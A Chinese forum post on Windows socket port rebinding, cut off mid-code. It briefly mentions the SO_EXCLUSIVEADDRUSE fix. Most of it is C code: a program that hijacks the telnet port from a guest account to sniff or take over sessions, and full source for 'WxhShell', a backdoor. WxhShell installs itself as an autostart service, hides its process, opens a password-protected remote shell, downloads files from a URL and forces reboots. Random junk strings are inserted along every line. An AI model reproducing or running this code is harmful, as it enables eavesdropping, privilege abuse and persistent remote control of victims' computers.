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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =jHy6)6w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >U.uRq  
t:n|0G(  
  saddr.sin_family = AF_INET; OOwJ3I >]>  
q+Q)IVaU81  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q&;qFv5-l  
Q:=/d$*xd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~+ur*3X  
/PS]AM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sP8B?Tn1W  
j+_75t`AZ  
  这意味着什么?意味着可以进行如下的攻击: Un+Jz ?Y  
r4zS,J;,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GT0'bge  
351'l7F\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?Fw/c0  
\`x'g)z(i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a#$%xw  
[b'fz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KfS^sT  
hR{Zh>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EpMEA1=&  
6Z=H>w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6.=b^6MV  
1j(,VW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4'*K\Ul).H  
[Xg"B|FD0  
  #include ~:Nyv+g,$  
  #include 3~'F^=T.Y  
  #include XCoOs<O:@  
  #include    &GAx*.L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d_hcv|%  
  int main() Aed"J5[a  
  { {F[Xe_=#"  
  WORD wVersionRequested; *4E,| IJ  
  DWORD ret; :Tl?yG F  
  WSADATA wsaData; GC2<K  
  BOOL val; &n wg$z{Y  
  SOCKADDR_IN saddr; tp&iOP6O  
  SOCKADDR_IN scaddr; ]y e &#  
  int err; J>Ha$1}u/  
  SOCKET s; f|)t[,c  
  SOCKET sc; r G6/h'!|  
  int caddsize; 03T.Owd  
  HANDLE mt; $Tza<nA  
  DWORD tid;   Y@eUvz  
  wVersionRequested = MAKEWORD( 2, 2 ); L&%iY7sC`  
  err = WSAStartup( wVersionRequested, &wsaData ); HVp aVM  
  if ( err != 0 ) { .S;/v--F  
  printf("error!WSAStartup failed!\n"); 95/C4q  
  return -1; Yn/-m Z  
  } DEhA8.v  
  saddr.sin_family = AF_INET; CXA8V"@&b/  
   hpu(MX\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PHkvt!uH  
"AVc^>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !T)>q%@ai  
  saddr.sin_port = htons(23); YoA$Gw2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O&uOm:/(  
  { C/=ZNl9"fn  
  printf("error!socket failed!\n"); J^cDa|j  
  return -1; I(SE)%!%S  
  } w93,N+es6  
  val = TRUE; *yx:nwmo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;iVyJZI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sz&`=x#  
  { +Gko[<  
  printf("error!setsockopt failed!\n"); 4(]k=c1<  
  return -1; @U5o;X!qU  
  } hv6>3gbr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =v-D}eJQ=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YQOGxSi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h?sh#j6  
v.MWO]L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4m:E:zVn  
  { tti.-  
  ret=GetLastError(); $6N. ykJ  
  printf("error!bind failed!\n"); +]X^bB[  
  return -1; p*Cbe\  
  } x,+zw9  
  listen(s,2);  hT[O5  
  while(1) >8Y >B)  
  { B4C`3@a  
  caddsize = sizeof(scaddr); d {4br  
  //接受连接请求 =z+zg^wsT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); apXq$wWq{D  
  if(sc!=INVALID_SOCKET) 'Tn$lh  
  { {<lV=0]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N*#SY$!y  
  if(mt==NULL) G(>a LF  
  { ?QgWW  
  printf("Thread Creat Failed!\n"); eM}Xn^}  
  break; :BS`Q/<w  
  } 7@\iBmr6  
  } he,T\ };  
  CloseHandle(mt); \;]~K6=  
  } wC19  
  closesocket(s); 3c)LBM  
  WSACleanup(); _z;N|Xe  
  return 0; P;GUGG*W  
  }   .Kx5Kh {  
  DWORD WINAPI ClientThread(LPVOID lpParam) fXN;N&I  
  { Xs`/q}R  
  SOCKET ss = (SOCKET)lpParam; OoE@30+  
  SOCKET sc; eL.S="  
  unsigned char buf[4096]; J GdVSjNC  
  SOCKADDR_IN saddr; d 9|u~3  
  long num; Lqt]  
  DWORD val; R!O'DM+  
  DWORD ret; M1:m"#=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a)]N#gx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /CP1mn6H  
  saddr.sin_family = AF_INET; :\ S3[(FV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iH2|w  
  saddr.sin_port = htons(23); I'";  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u}$?r\H'(  
  { C..O_Zn{g  
  printf("error!socket failed!\n"); iMS S8J  
  return -1; :mij%nQ>$  
  } BkcOsJIz  
  val = 100; nxG vh4'i8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7Y-GbG.'  
  { F~m tE8B:  
  ret = GetLastError(); wXP1tM8T  
  return -1; J;qHw[6  
  } Wl1%BN0>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;fuy}q8@7  
  { (g 8K?Q  
  ret = GetLastError(); u{si  
  return -1; -C\m' T,1  
  } Fw|5A"9'a'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iS"rMgq  
  { `Tab'7  
  printf("error!socket connect failed!\n"); [p(Y|~  
  closesocket(sc); :)+cI?\#  
  closesocket(ss); K jLj  
  return -1; '+$2<Ys  
  } h5~tsd}OU  
  while(1) 7%X$6N-X  
  {  #/n\C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #JVcl $0Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j0Q ;OKu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yd2ouCUV  
  num = recv(ss,buf,4096,0); +s`n]1HC  
  if(num>0) JI.ad_IR  
  send(sc,buf,num,0); rVkHo*Q  
  else if(num==0) kWWb<WRW:  
  break; UXd\Q''  
  num = recv(sc,buf,4096,0); pJ{sBp_$  
  if(num>0) _:{XL c  
  send(ss,buf,num,0); )UWE.o BI  
  else if(num==0) U!('`TYe  
  break; _c[t.\-`]  
  } h4V.$e<T&  
  closesocket(ss); c| E  
  closesocket(sc); k1X<jC]P  
  return 0 ; !dZHG R  
  } A w83@U  
MVV<&jho{^  
Zcc6E2  
========================================================== T\OLysc  
z*:^*,  
下边附上一个代码,,WXhSHELL u ; I5n  
}lhJt|qc  
========================================================== /q8n_NR  
BH=vI<D  
#include "stdafx.h" eI- ~ +.  
N j?,'?'O}  
#include <stdio.h> <#:"vnm$j  
#include <string.h> Y1+f(Q  
#include <windows.h> U|,VH-#  
#include <winsock2.h> __)9JF  
#include <winsvc.h> .t\5H<z  
#include <urlmon.h> 4%B${zP(.}  
#[IQmU23  
#pragma comment (lib, "Ws2_32.lib") D9JT)a  
#pragma comment (lib, "urlmon.lib") ?!Y2fK=h0  
Nhs]U`s(g  
#define MAX_USER   100 // 最大客户端连接数 #  *\PU  
#define BUF_SOCK   200 // sock buffer r3#H]c  
#define KEY_BUFF   255 // 输入 buffer VaH#~!  
Fe: 0nr9;  
#define REBOOT     0   // 重启 ,rQznE1e  
#define SHUTDOWN   1   // 关机 \ ddbqg?`  
uRJLSt9m  
#define DEF_PORT   5000 // 监听端口 f ^z7K  
R7+k=DI  
#define REG_LEN     16   // 注册表键长度 ! XA07O[@  
#define SVC_LEN     80   // NT服务名长度 2uz<n}IV  
yt$V<8a  
// 从dll定义API UA}k"uM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R(3V ! ph  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K5b8lc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X=-pNwO   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jh9^5"vQ  
"{|9Yis=  
// wxhshell配置信息 +.{_n(kU  
struct WSCFG { C%l~qf1n  
  int ws_port;         // 监听端口 Ip|7JL0Z  
  char ws_passstr[REG_LEN]; // 口令 }*;Hhbox  
  int ws_autoins;       // 安装标记, 1=yes 0=no H+F'K XP*K  
  char ws_regname[REG_LEN]; // 注册表键名 EY':m_7W  
  char ws_svcname[REG_LEN]; // 服务名 6M F%$K3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a(!:a+9WOP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A:>G:X5t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 amOBUD5Ld`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SI U"cO4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (m})V0/`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3. fIp5g  
zkB_$=sbn#  
}; SxNs  
8 z\WyDz  
// default Wxhshell configuration cvi+AZ=  
struct WSCFG wscfg={DEF_PORT, q f-1}  
    "xuhuanlingzhe", ,Epg&)wC]  
    1, mq >Ag  
    "Wxhshell", rJ K~kKG  
    "Wxhshell", &!a[rvtZ+  
            "WxhShell Service", Jt@7y"<  
    "Wrsky Windows CmdShell Service", gQh;4v  
    "Please Input Your Password: ", p\~ lPXK  
  1, \%f4)Qb  
  "http://www.wrsky.com/wxhshell.exe", 27}k63\  
  "Wxhshell.exe" yin"+&<T  
    }; }B^KV#_{S  
L9&Z?$6J_p  
// 消息定义模块 t: r   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <5G*#0gw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; | \C{R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -7>vh|3  
char *msg_ws_ext="\n\rExit.";  jmz, 1[  
char *msg_ws_end="\n\rQuit."; R2-OT5Ej  
char *msg_ws_boot="\n\rReboot..."; =2# C{u.  
char *msg_ws_poff="\n\rShutdown..."; U5%EQc-"P  
char *msg_ws_down="\n\rSave to "; P8piXG  
PKty'}KF  
char *msg_ws_err="\n\rErr!"; 3@_je)s  
char *msg_ws_ok="\n\rOK!"; VWaI!bK  
UIIR$,XB  
char ExeFile[MAX_PATH]; 3L/>=I{5  
int nUser = 0; XQ.JzzY$  
HANDLE handles[MAX_USER]; j 8YMod=  
int OsIsNt; % =br-c  
 Hi|'  
SERVICE_STATUS       serviceStatus; %BC*h}KGH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +kmPQdO;*/  
x/R|i%u-s  
// 函数声明 +(QGlRd  
int Install(void); -%NT)o  
int Uninstall(void); ma?$@ ]`k  
int DownloadFile(char *sURL, SOCKET wsh); P10`X&  
int Boot(int flag); }2-{4JIq}  
void HideProc(void); Ay22-/C|@  
int GetOsVer(void); V.>'\b/#  
int Wxhshell(SOCKET wsl); n@Y`g{{e~  
void TalkWithClient(void *cs); ;XRLp:y  
int CmdShell(SOCKET sock); |U>BXX P  
int StartFromService(void); x?VX,9;j  
int StartWxhshell(LPSTR lpCmdLine); &S]\)&Yt  
;a[56W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2(Vm0E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fYl$$.  
?yU|;my  
// 数据结构和表定义 &Dgho  
SERVICE_TABLE_ENTRY DispatchTable[] = 0,{Dw9W:  
{ j"7 z  
{wscfg.ws_svcname, NTServiceMain}, [}N?'foLb  
{NULL, NULL} ]+{Cy\*kR  
}; ?S36)oZzg  
oOnk,U  
// 自我安装 W -8<sv$b  
int Install(void) {;=I69 X  
{ "9>~O`l,  
  char svExeFile[MAX_PATH]; IF(W[J  
  HKEY key; y}R{A6X)  
  strcpy(svExeFile,ExeFile);  +,gI|  
b(&2/|hd  
// 如果是win9x系统,修改注册表设为自启动 eh&?BP?  
if(!OsIsNt) { mTwz&N\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %e+hM $Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *}$T:kTH  
  RegCloseKey(key); ![18+Q\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (>%Ddj6_>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pJ;J>7Gt  
  RegCloseKey(key); 5rr7lw WZ  
  return 0; !=_:*U)-'  
    } x}?y@.sn8  
  } m>yk4@a  
} y4tM0h  
else { =) $a>N  
f nX!wN  
// 如果是NT以上系统,安装为系统服务 pej/9{*xg(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b54<1\&  
if (schSCManager!=0) ?kI-o0@O.  
{ HpC|dtro  
  SC_HANDLE schService = CreateService Ks(+['*S  
  ( *RD9 gIze  
  schSCManager, dP=1*  
  wscfg.ws_svcname, _>9|"seR  
  wscfg.ws_svcdisp, - /]ro8V$  
  SERVICE_ALL_ACCESS, .9#4qoM'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xa[<k >r3  
  SERVICE_AUTO_START, (_^g:>)Cs  
  SERVICE_ERROR_NORMAL, hc4<`W{  
  svExeFile, BuCU_/H  
  NULL, MMqkNe  
  NULL, rUvqAfE&+  
  NULL, . p^='Kz?  
  NULL, ; =ai]AYW  
  NULL x$Ko|:-  
  ); $]<CC`  
  if (schService!=0) +y!dU{L^  
  { gYn1-/Z>I  
  CloseServiceHandle(schService); Ek~Qp9B  
  CloseServiceHandle(schSCManager); 2asA]sY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >pW8K[  
  strcat(svExeFile,wscfg.ws_svcname); Am'5|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EDcR:Dw3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AyB-+oTf(  
  RegCloseKey(key); /pan{.< k  
  return 0; 8p,q9Ey  
    } ,B(UkPGT  
  } /J]Yj,  
  CloseServiceHandle(schSCManager); };o6|e:2E  
} *]nha1!S  
} OmQSNU.our  
UO47XAO  
return 1; TG8QT\0G  
} %<6oKE  
IHZ WNT2  
// 自我卸载 'S@%  
int Uninstall(void) iA3d[%tBb  
{ FbO-K-  
  HKEY key; $Q{)AN;m  
+Pd&YfU9  
if(!OsIsNt) { _A|1_^[G(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,UopGlA ,  
  RegDeleteValue(key,wscfg.ws_regname); 4(o: #9I  
  RegCloseKey(key); i[`nu#n/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q6 @}t&k4C  
  RegDeleteValue(key,wscfg.ws_regname); =G]} L<  
  RegCloseKey(key); RIJ+]uir4  
  return 0; $v#Q'?jE  
  } sesr`,m.,  
} :~3sW< P R  
} 1k6f|Al -  
else { Wp/!;  
H0Qpc<Z4/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pg1o@^OuL  
if (schSCManager!=0) MNzq,/Wf  
{ wv>Pn0cO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^N#kW-i  
  if (schService!=0) JP)/ O!  
  { '}dlVf  
  if(DeleteService(schService)!=0) { pN6!IxN$  
  CloseServiceHandle(schService); zhY V M Q  
  CloseServiceHandle(schSCManager); s\_-` [B0  
  return 0; \Si@t{`O  
  } 58,_  
  CloseServiceHandle(schService); g6o-/A!Q3  
  } IzF7W?k  
  CloseServiceHandle(schSCManager); !/znovoD  
} 6e&Y%O'8  
} ]`0(^)U &  
M;OY+ |uA  
return 1; Vh$~]>t:f  
} :BKY#uH~  
+8Yt91   
// 从指定url下载文件 :P #   
int DownloadFile(char *sURL, SOCKET wsh) -BfZ P5  
{ 3Wxl7"!x m  
  HRESULT hr; b)9bYkd  
char seps[]= "/"; wUHuykF  
char *token;  Z+`mla  
char *file; S!A)kK+  
char myURL[MAX_PATH]; 3.U5Each-  
char myFILE[MAX_PATH]; zB/$*Hd  
sJg-FVe2  
strcpy(myURL,sURL); uy)iB'st&  
  token=strtok(myURL,seps); >DVjO9Kf  
  while(token!=NULL) u4bPj2N8I  
  { (2(I|O#  
    file=token; htk5\^(X  
  token=strtok(NULL,seps); 85Zy0l  
  } 28JWQ%-  
&1YAPxX  
GetCurrentDirectory(MAX_PATH,myFILE); A]`63@-.  
strcat(myFILE, "\\"); wr,X@y%(!  
strcat(myFILE, file); i`Fg kABw  
  send(wsh,myFILE,strlen(myFILE),0); 4N& VT"  
send(wsh,"...",3,0); |(N4ZmTm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2c@4<kyfP  
  if(hr==S_OK) /f~ V(DK  
return 0; |VbF&*v`  
else P0uUVU=B|  
return 1; ,pE{N&p9  
= q9>~E{}  
} u:tLO3VfJ  
b<};"H0a  
// 系统电源模块 w]X~I/6g  
int Boot(int flag) T V\21  
{ ?VS(W  
  HANDLE hToken; ; S7 %  
  TOKEN_PRIVILEGES tkp; Uq `B#JI  
-'3~Y 2#  
  if(OsIsNt) { ;V`e%9 .  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zm,<2BP>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0][PL%3Z  
    tkp.PrivilegeCount = 1; a<7Ui;^@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zy _A3m{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g0GC g  
if(flag==REBOOT) { {r Q6IV3=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #]<j.Fc`  
  return 0; /{ Lo0  
} uoR_/vol8  
else { ?.~E:8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }md[hiJ  
  return 0; .P+om<~B  
} PCDsj_e  
  } <3zA|  
  else { +F$c_ \>  
if(flag==REBOOT) { n,}\;Bp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fl<|/DCg  
  return 0; )w_0lm'v{r  
} If>k~aL7I  
else { C-' n4AY^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;4p_lw@  
  return 0; Bpt%\LK\~O  
} h'YC!hjp   
} :S'P lH  
p&~8N#I#  
return 1; 5D 9I;L{  
} '1{co/Y  
*m6~x-x  
// win9x进程隐藏模块 oG~a`9N%C  
void HideProc(void) hw ]x T5  
{ v MTWtc!6  
\9T CP;{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /\P3UrQ&]  
  if ( hKernel != NULL ) Z~)Bh~^A  
  { 1uBnU2E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'z7,)Q&8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U86bn(9K  
    FreeLibrary(hKernel); 5:v"^"Sz  
  } ':YFm  
xD+n2:I{  
return; ? hU0S  
} GyQu?`  
s)X'PJ0&Bs  
// 获取操作系统版本 ``KimeA~  
int GetOsVer(void) 'oSs5lW  
{ k/bY>FY2r  
  OSVERSIONINFO winfo; @)=\q`vV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $?RxmWsP  
  GetVersionEx(&winfo); &6 .r=,BO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uz-O%R-  
  return 1; veX#K#  
  else :H($|$\h  
  return 0; 7(c7-  
} >8h14uCk  
Z9TmX A@  
// 客户端句柄模块 9NXf~-V-  
int Wxhshell(SOCKET wsl) 2k}~"!e1  
{ yop,%Fe  
  SOCKET wsh; Ve\^(9n  
  struct sockaddr_in client; 'jh9n7mH  
  DWORD myID; [~e{58}J|  
xQ4 5B` $  
  while(nUser<MAX_USER) 6$]@}O^V  
{ W2cgxT  
  int nSize=sizeof(client); ,S QmQ6h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _"Yi>.{]  
  if(wsh==INVALID_SOCKET) return 1; +Y;/10p  
a{*r^m'N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dn/{  s$\  
if(handles[nUser]==0) NvCq5B$C  
  closesocket(wsh); S9BwCKH  
else O6JH)Ka"S  
  nUser++; j"g[qF/*  
  } NKyaR_q`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?Pg{nlJvq  
d +0(H   
  return 0; Z,~Bz@5`"  
} W  &wqN  
^APPWQUl  
// 关闭 socket \$;Q3t3  
void CloseIt(SOCKET wsh) @hC,J  
{ h\C" ti2  
closesocket(wsh);  %T9'dcM  
nUser--; fsd,q?{a:  
ExitThread(0); J3/2>N]/}  
} !F ]7q]g  
`-Yo$b;:  
// 客户端请求句柄 z*,P^K 0T  
void TalkWithClient(void *cs) g=iPv3MG  
{ ]M2<b:yo  
2e~ud9,  
  SOCKET wsh=(SOCKET)cs; { |dU|h  
  char pwd[SVC_LEN]; -jN:~.  
  char cmd[KEY_BUFF]; G.Z4h/1<  
char chr[1]; 7-Bttv{  
int i,j; < zUU`  
%&EDh2w>  
  while (nUser < MAX_USER) { )X-~+X91 S  
Iu(j"b#  
if(wscfg.ws_passstr) { WGy3SV )  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lM0`yh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 08*O|Ym,  
  //ZeroMemory(pwd,KEY_BUFF); \~j6}4XS1.  
      i=0; :yPA6O 4  
  while(i<SVC_LEN) { B_Qi  
Tz/=\_}  
  // 设置超时 O [Q;[@  
  fd_set FdRead; o0SQJ1.a$  
  struct timeval TimeOut; #Z%?lx"Q0  
  FD_ZERO(&FdRead); :.xdG>\n3  
  FD_SET(wsh,&FdRead); !a %6nBo  
  TimeOut.tv_sec=8; s Yp?V\Y"  
  TimeOut.tv_usec=0; Ekq&.qjYG"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /eFudMl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2R W^Nqc9  
Y<1]{4Wt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ';T=kS<^_  
  pwd=chr[0]; 5Z (1&  
  if(chr[0]==0xd || chr[0]==0xa) { gie.K1@|  
  pwd=0; VE_%/Fs,  
  break; "XvM1G&s`  
  } K8>-%ns  
  i++; i;+]Y   
    } !\e&7sV~Q  
\gtI4zl*J  
  // 如果是非法用户,关闭 socket E]Wnl\Be  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J})#43P  
} # MpW\yX  
pS [nKcyj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >LqW;/&S<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :i{$p00 G  
xw1@&QwM  
while(1) { cSMiNR  
z x e6M~+  
  ZeroMemory(cmd,KEY_BUFF); (<.uvq61  
{u 7%Z}<0  
      // 自动支持客户端 telnet标准   8vP:yh@  
  j=0; a04I.5!  
  while(j<KEY_BUFF) { Z{' .fq2A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W.nQYH  
  cmd[j]=chr[0]; NhP&sQO  
  if(chr[0]==0xa || chr[0]==0xd) { fDq`.ZW)s  
  cmd[j]=0; ]J`yh$a  
  break; o>3g<- ul  
  } <OYy ;s  
  j++; x{=@~c%eh  
    } hu=b ,  
\a\J0&Z  
  // 下载文件 .tFMa:   
  if(strstr(cmd,"http://")) { |{)SLvlJl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :)cn&'l(S  
  if(DownloadFile(cmd,wsh)) P:`tL)W_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e+_~a8 -|  
  else ^F}HWpF_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FNQR sNi  
  } 6[iuCMOZ  
  else { | .8lS3C  
6Vq]AQx  
    switch(cmd[0]) { BK+(Uf;g  
  Er 4P  
  // 帮助 Muhq,>!U  
  case '?': { -Odk'{nW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gWqO5C~h  
    break; fF~3"!1#\I  
  } \QpH~&QIS  
  // 安装 ,{KjVv<  
  case 'i': { *jAw  
    if(Install()) vocXk_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yP&SA+  
    else "0ITW46n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HOEjLwH  
    break; )JYt zc  
    } #gHs!b-g@  
  // 卸载 |?a 4Nl?  
  case 'r': { z3 zN^ZT  
    if(Uninstall()) >Ei-Spy>Xl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b[mAkm?9+1  
    else ZO^Y9\L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xlJ8n+  
    break; n$z}DE5 #  
    } C>1fL6ct  
  // 显示 wxhshell 所在路径 &n5Lc`  
  case 'p': { {nl]F  
    char svExeFile[MAX_PATH]; X={n9*Sd8  
    strcpy(svExeFile,"\n\r"); !A5UT-  
      strcat(svExeFile,ExeFile); jl!rCOLt4  
        send(wsh,svExeFile,strlen(svExeFile),0); @D<KG  
    break; |~6X: M61  
    } N*dO'ol  
  // 重启 cqr4P`Oj  
  case 'b': { Q@7-UIV|q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4{[cXM8*j  
    if(Boot(REBOOT)) |VY+!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z(' iZ'55F  
    else { M-  f)\`I  
    closesocket(wsh); 0Q2P"1>KT/  
    ExitThread(0); 09_L^'`  
    } |'C {nTX  
    break; 6?"k&O  
    } Q t!X<.  
  // 关机 evbqBb21b  
  case 'd': { W?*]' 0  
